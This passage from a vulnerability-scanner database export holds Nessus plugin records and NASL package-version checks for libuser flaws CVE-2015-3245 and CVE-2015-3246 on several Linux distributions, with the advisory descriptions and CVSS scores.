flag++;\nif (rpm_check(release:\"SL6\", reference:\"libuser-devel-0.56.13-8.el6_7\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"libuser-python-0.56.13-8.el6_7\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libuser / libuser-debuginfo / libuser-devel / libuser-python\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-12T09:43:47", "description": "Two security vulnerabilities were discovered in libuser, a library\nthat implements a standardized interface for manipulating and\nadministering user and group accounts, that could lead to a denial of\nservice or privilege escalation by local users.\n\nCVE-2015-3245 Incomplete blacklist vulnerability in the chfn function\nin libuser before 0.56.13-8 and 0.60 before 0.60-7, as used in the\nuserhelper program in the usermode package, allows local users to\ncause a denial of service (/etc/passwd corruption) via a newline\ncharacter in the GECOS field.\n\nCVE-2015-3246 libuser before 0.56.13-8 and 0.60 before 0.60-7, as used\nin the userhelper program in the usermode package, directly modifies\n/etc/passwd, which allows local users to cause a denial of service\n(inconsistent file state) by causing an error during the modification.\nNOTE: this issue can be combined with CVE-2015-3245 to gain\nprivileges.\n\nIn addition the usermode package, which depends on libuser, was\nrebuilt against the updated version.\n\nFor Debian 7 'Wheezy', these problems have been fixed in\n\nlibuser 1:0.56.9.dfsg.1-1.2+deb7u1 usermode 1.109-1+deb7u2\n\nWe recommend that you upgrade your libuser and usermode packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.", "edition": 17, "published": "2016-05-13T00:00:00", "title": "Debian DLA-468-1 : libuser security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2016-05-13T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:python-libuser", "p-cpe:/a:debian:debian_linux:libuser1-dev", "p-cpe:/a:debian:debian_linux:libuser1", "cpe:/o:debian:debian_linux:7.0", "p-cpe:/a:debian:debian_linux:libuser"], "id": "DEBIAN_DLA-468.NASL", "href": "https://www.tenable.com/plugins/nessus/91108", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-468-1. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(91108);\n script_version(\"2.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_bugtraq_id(76021, 76022);\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n\n script_name(english:\"Debian DLA-468-1 : libuser security update\");\n script_summary(english:\"Checks dpkg output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Two security vulnerabilities were discovered in libuser, a library\nthat implements a standardized interface for manipulating and\nadministering user and group accounts, that could lead to a denial of\nservice or privilege escalation by local users.\n\nCVE-2015-3245 Incomplete blacklist vulnerability in the chfn function\nin libuser before 0.56.13-8 and 0.60 before 0.60-7, as used in the\nuserhelper program in the usermode package, allows local users to\ncause a denial of service (/etc/passwd corruption) via a newline\ncharacter in the GECOS field.\n\nCVE-2015-3246 libuser before 0.56.13-8 and 0.60 before 0.60-7, as used\nin the userhelper program in the usermode package, directly modifies\n/etc/passwd, which allows local users to cause a denial of service\n(inconsistent file state) by causing an error during the modification.\nNOTE: this issue can be combined with CVE-2015-3245 to gain\nprivileges.\n\nIn addition the usermode package, which depends on libuser, was\nrebuilt against the updated version.\n\nFor Debian 7 'Wheezy', these problems have been fixed in\n\nlibuser 1:0.56.9.dfsg.1-1.2+deb7u1 usermode 1.109-1+deb7u2\n\nWe recommend that you upgrade your libuser and usermode packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2016/05/msg00021.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/wheezy/libuser\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Upgrade the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:libuser1\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:libuser1-dev\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:python-libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:7.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/05/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/05/13\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"7.0\", prefix:\"libuser\", reference:\"1:0.56.9.dfsg.1-1.2+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"libuser1\", reference:\"1:0.56.9.dfsg.1-1.2+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"libuser1-dev\", reference:\"1:0.56.9.dfsg.1-1.2+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"python-libuser\", reference:\"1:0.56.9.dfsg.1-1.2+deb7u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-06T09:30:17", "description": "Updated libuser packages that fix two security issues are now\navailable for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having Important\nsecurity impact. Common Vulnerability Scoring System (CVSS) base\nscores, which give detailed severity ratings, are available for each\nvulnerability from the CVE links in the References section.\n\nThe libuser library implements a standardized interface for\nmanipulating and administering user and group accounts. Sample\napplications that are modeled after applications from the shadow\npassword suite (shadow-utils) are included in these packages.\n\nTwo flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages,\nwhich contain a backported patch to correct this issue.", "edition": 25, "published": "2015-07-28T00:00:00", "title": "CentOS 6 : libuser (CESA-2015:1482)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2015-07-28T00:00:00", "cpe": ["cpe:/o:centos:centos:6", "p-cpe:/a:centos:centos:libuser", "p-cpe:/a:centos:centos:libuser-python", "p-cpe:/a:centos:centos:libuser-devel"], "id": "CENTOS_RHSA-2015-1482.NASL", "href": "https://www.tenable.com/plugins/nessus/85029", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2015:1482 and \n# CentOS Errata and Security Advisory 2015:1482 respectively.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(85029);\n script_version(\"2.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/04\");\n\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_bugtraq_id(76021, 76022);\n script_xref(name:\"RHSA\", value:\"2015:1482\");\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n\n script_name(english:\"CentOS 6 : libuser (CESA-2015:1482)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote CentOS host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated libuser packages that fix two security issues are now\navailable for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having Important\nsecurity impact. Common Vulnerability Scoring System (CVSS) base\nscores, which give detailed severity ratings, are available for each\nvulnerability from the CVE links in the References section.\n\nThe libuser library implements a standardized interface for\nmanipulating and administering user and group accounts. Sample\napplications that are modeled after applications from the shadow\npassword suite (shadow-utils) are included in these packages.\n\nTwo flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages,\nwhich contain a backported patch to correct this issue.\"\n );\n # http://lists.centos.org/pipermail/centos-cr-announce/2015-July/002103.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?dfdc11bc\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected libuser packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:libuser-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:libuser-python\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:6\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/07/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/07/28\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"CentOS Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n# Temp disable\nexit(0, 'Temporarily disabled.');\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/CentOS/release\")) audit(AUDIT_OS_NOT, \"CentOS\");\nif (!get_kb_item(\"Host/CentOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"CentOS\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"CentOS-6\", reference:\"libuser-0.56.13-8.el6_7\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"libuser-devel-0.56.13-8.el6_7\")) flag++;\nif (rpm_check(release:\"CentOS-6\", reference:\"libuser-python-0.56.13-8.el6_7\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-01T01:21:05", "description": "It was found that libuser, as used in the chfn userhelper\nfunctionality, does not properly filter out newline characters, which\nallows an authenticated local attacker to corrupt the /etc/passwd file\nand cause denial-of-service against the system. (CVE-2015-3245)\n\nA flaw was found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3246)", "edition": 27, "published": "2015-07-24T00:00:00", "title": "Amazon Linux AMI : usermode / libuser (ALAS-2015-572)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2021-02-02T00:00:00", "cpe": ["p-cpe:/a:amazon:linux:libuser", "p-cpe:/a:amazon:linux:usermode-debuginfo", "p-cpe:/a:amazon:linux:libuser-devel", "p-cpe:/a:amazon:linux:libuser-python", "p-cpe:/a:amazon:linux:usermode", "p-cpe:/a:amazon:linux:libuser-debuginfo", "cpe:/o:amazon:linux"], "id": "ALA_ALAS-2015-572.NASL", "href": "https://www.tenable.com/plugins/nessus/84964", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Amazon Linux AMI Security Advisory ALAS-2015-572.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(84964);\n script_version(\"2.13\");\n script_cvs_date(\"Date: 2018/05/15 11:39:34\");\n\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_xref(name:\"ALAS\", value:\"2015-572\");\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n script_xref(name:\"RHSA\", value:\"2015:1482\");\n\n script_name(english:\"Amazon Linux AMI : usermode / libuser (ALAS-2015-572)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Amazon Linux AMI host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"It was found that libuser, as used in the chfn userhelper\nfunctionality, does not properly filter out newline characters, which\nallows an authenticated local attacker to corrupt the /etc/passwd file\nand cause denial-of-service against the system. (CVE-2015-3245)\n\nA flaw was found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3246)\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://alas.aws.amazon.com/ALAS-2015-572.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Run 'yum update usermode libuser' to update your system.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:libuser-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:libuser-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:libuser-python\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:usermode\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:usermode-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:amazon:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/07/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/07/24\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Amazon Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/AmazonLinux/release\", \"Host/AmazonLinux/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/AmazonLinux/release\");\nif (isnull(release) || !strlen(release)) audit(AUDIT_OS_NOT, \"Amazon Linux\");\nos_ver = pregmatch(pattern: \"^AL(A|\\d)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Amazon Linux\");\nos_ver = os_ver[1];\nif (os_ver != \"A\")\n{\n if (os_ver == 'A') os_ver = 'AMI';\n audit(AUDIT_OS_NOT, \"Amazon Linux AMI\", \"Amazon Linux \" + os_ver);\n}\n\nif (!get_kb_item(\"Host/AmazonLinux/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (rpm_check(release:\"ALA\", reference:\"libuser-0.56.13-8.15.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"libuser-debuginfo-0.56.13-8.15.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"libuser-devel-0.56.13-8.15.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"libuser-python-0.56.13-8.15.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"usermode-1.102-3.18.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"usermode-debuginfo-1.102-3.18.amzn1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libuser / libuser-debuginfo / libuser-devel / libuser-python / etc\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-17T12:50:07", "description": "From Red Hat Security Advisory 2015:1482 :\n\nUpdated libuser packages that fix two security issues are now\navailable for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having Important\nsecurity impact. Common Vulnerability Scoring System (CVSS) base\nscores, which give detailed severity ratings, are available for each\nvulnerability from the CVE links in the References section.\n\nThe libuser library implements a standardized interface for\nmanipulating and administering user and group accounts. Sample\napplications that are modeled after applications from the shadow\npassword suite (shadow-utils) are included in these packages.\n\nTwo flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages,\nwhich contain a backported patch to correct this issue.", "edition": 26, "published": "2015-07-30T00:00:00", "title": "Oracle Linux 6 : libuser (ELSA-2015-1482)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2015-07-30T00:00:00", "cpe": ["cpe:/o:oracle:linux:6", "p-cpe:/a:oracle:linux:libuser-devel", "p-cpe:/a:oracle:linux:libuser", "p-cpe:/a:oracle:linux:libuser-python"], "id": "ORACLELINUX_ELSA-2015-1482.NASL", "href": "https://www.tenable.com/plugins/nessus/85115", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2015:1482 and \n# Oracle Linux Security Advisory ELSA-2015-1482 respectively.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(85115);\n script_version(\"2.21\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_bugtraq_id(76021, 76022);\n script_xref(name:\"RHSA\", value:\"2015:1482\");\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n\n script_name(english:\"Oracle Linux 6 : libuser (ELSA-2015-1482)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Oracle Linux host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"From Red Hat Security Advisory 2015:1482 :\n\nUpdated libuser packages that fix two security issues are now\navailable for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having Important\nsecurity impact. Common Vulnerability Scoring System (CVSS) base\nscores, which give detailed severity ratings, are available for each\nvulnerability from the CVE links in the References section.\n\nThe libuser library implements a standardized interface for\nmanipulating and administering user and group accounts. Sample\napplications that are modeled after applications from the shadow\npassword suite (shadow-utils) are included in these packages.\n\nTwo flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages,\nwhich contain a backported patch to correct this issue.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://oss.oracle.com/pipermail/el-errata/2015-July/005247.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected libuser packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:libuser-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:libuser-python\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:linux:6\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2015/08/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/07/29\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/07/30\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Oracle Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/OracleLinux\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/OracleLinux\")) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || !pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux)\", string:release)) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nos_ver = pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Oracle Linux\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Oracle Linux 6\", \"Oracle Linux \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Oracle Linux\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"EL6\", reference:\"libuser-0.56.13-8.el6_7\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"libuser-devel-0.56.13-8.el6_7\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"libuser-python-0.56.13-8.el6_7\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libuser / libuser-devel / libuser-python\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-01T02:04:25", "description": "libuser before 0.56.13-8 and 0.60 before 0.60-7, as used in the\nuserhelper program in the usermode package, directly modifies\n/etc/passwd, which allows local users to cause a denial of service\n(inconsistent file state) by causing an error during the modification.\nNOTE: this issue can be combined with CVE-2015-3245 to gain\nprivileges.", "edition": 30, "published": "2016-05-26T00:00:00", "title": "F5 Networks BIG-IP : Linux libuser vulnerability (SOL05770600)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2021-02-02T00:00:00", "cpe": ["cpe:/a:f5:big-ip_global_traffic_manager", "cpe:/a:f5:big-ip_link_controller", "cpe:/a:f5:big-ip_advanced_firewall_manager", "cpe:/a:f5:big-ip_policy_enforcement_manager", "cpe:/a:f5:big-ip_application_security_manager", "cpe:/a:f5:big-ip_application_acceleration_manager", "cpe:/h:f5:big-ip_protocol_security_manager", "cpe:/a:f5:big-ip_local_traffic_manager", "cpe:/a:f5:big-ip_wan_optimization_manager", "cpe:/h:f5:big-ip", "cpe:/a:f5:big-ip_application_visibility_and_reporting", "cpe:/a:f5:big-ip_webaccelerator", "cpe:/a:f5:big-ip_access_policy_manager"], "id": "F5_BIGIP_SOL05770600.NASL", "href": "https://www.tenable.com/plugins/nessus/91327", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from F5 Networks BIG-IP Solution SOL05770600.\n#\n# The text description of this plugin is 